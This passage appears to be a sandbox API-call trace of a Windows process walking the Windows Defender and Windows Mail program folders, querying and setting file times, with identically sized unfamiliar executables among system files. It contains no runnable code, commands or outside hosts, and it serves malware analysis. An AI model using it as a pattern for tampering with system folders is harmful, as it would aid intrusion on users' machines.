ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x6c6758d0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1 [0089.583] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80201d40, ftCreationTime.dwHighDateTime=0x1d58bfe, ftLastAccessTime.dwLowDateTime=0x68022490, ftLastAccessTime.dwHighDateTime=0x1d575bc, ftLastWriteTime.dwLowDateTime=0x68022490, ftLastWriteTime.dwHighDateTime=0x1d575bc, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptftp.exe", cAlternateFileName="")) returned 1 [0089.583] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80201d40, ftCreationTime.dwHighDateTime=0x1d58bfe, ftLastAccessTime.dwLowDateTime=0x68022490, ftLastAccessTime.dwHighDateTime=0x1d575bc, ftLastWriteTime.dwLowDateTime=0x68022490, ftLastWriteTime.dwHighDateTime=0x1d575bc, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptftp.exe", cAlternateFileName="")) returned 0 [0089.583] GetLastError () returned 0x12 [0089.583] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0089.583] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.583] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.583] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.583] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US" (normalized: "c:\\program files (x86)\\windows defender\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.584] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US" (normalized: "c:\\program files (x86)\\windows defender\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0089.584] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.584] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13334e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x13334e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13334e0) returned 1 [0089.584] NtClose (Handle=0x178) returned 0x0 [0089.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.585] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0089.585] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.585] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0089.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1ca8 [0089.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.587] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1 [0089.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1cc8 [0089.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef788 [0089.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.588] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 0 [0089.588] GetLastError () returned 0x12 [0089.589] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.589] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.589] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.589] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0089.589] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1 [0089.589] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 0 [0089.589] GetLastError () returned 0x12 [0089.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.589] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.590] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcc1c145, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdcc1c145, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ab7c5c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0089.590] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7732a07, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe7732a07, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ab7c5c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpClient.dll", cAlternateFileName="")) returned 1 [0089.590] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9910bf, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde9910bf, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ac13ba0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1 [0089.590] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbe6c321, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbe6c321, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x6c6758d0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1 [0089.590] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80201d40, ftCreationTime.dwHighDateTime=0x1d58bfe, ftLastAccessTime.dwLowDateTime=0x68022490, ftLastAccessTime.dwHighDateTime=0x1d575bc, ftLastWriteTime.dwLowDateTime=0x68022490, ftLastWriteTime.dwHighDateTime=0x1d575bc, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptftp.exe", cAlternateFileName="")) returned 1 [0089.590] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80201d40, ftCreationTime.dwHighDateTime=0x1d58bfe, ftLastAccessTime.dwLowDateTime=0x68022490, ftLastAccessTime.dwHighDateTime=0x1d575bc, ftLastWriteTime.dwLowDateTime=0x68022490, ftLastWriteTime.dwHighDateTime=0x1d575bc, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptftp.exe", cAlternateFileName="")) returned 0 [0089.590] GetLastError () returned 0x12 [0089.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0089.590] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0089.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.591] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="")) returned 1 [0089.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.591] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail" (normalized: "c:\\program files (x86)\\windows mail"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0089.591] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail" (normalized: "c:\\program files (x86)\\windows mail"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.592] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0089.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13334e0 [0089.592] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13334e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x13334e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0089.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13334e0) returned 1 [0089.592] NtClose (Handle=0x164) returned 0x0 [0089.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0089.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0089.593] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0089.594] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.594] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bfa4700, ftCreationTime.dwHighDateTime=0x1d5b679, ftLastAccessTime.dwLowDateTime=0xb0b0e70, ftLastAccessTime.dwHighDateTime=0x1d5bc05, ftLastWriteTime.dwLowDateTime=0xb0b0e70, ftLastWriteTime.dwHighDateTime=0x1d5bc05, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="coreftp.exe", cAlternateFileName="")) returned 1 [0089.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.595] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.595] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8d0a070, ftCreationTime.dwHighDateTime=0x1d572ef, ftLastAccessTime.dwLowDateTime=0xa3cfcd0, ftLastAccessTime.dwHighDateTime=0x1d5a29a, ftLastWriteTime.dwLowDateTime=0xa3cfcd0, ftLastWriteTime.dwHighDateTime=0x1d5a29a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="isspos.exe", cAlternateFileName="")) returned 1 [0089.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.596] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b530d7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b530d7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0089.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.598] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e00b0b6, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x9e00b0b6, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6cf87540, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0089.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.599] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b9f397, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b9f397, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0089.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.601] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x879b1223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x879b1223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87a95a65, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0089.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.602] 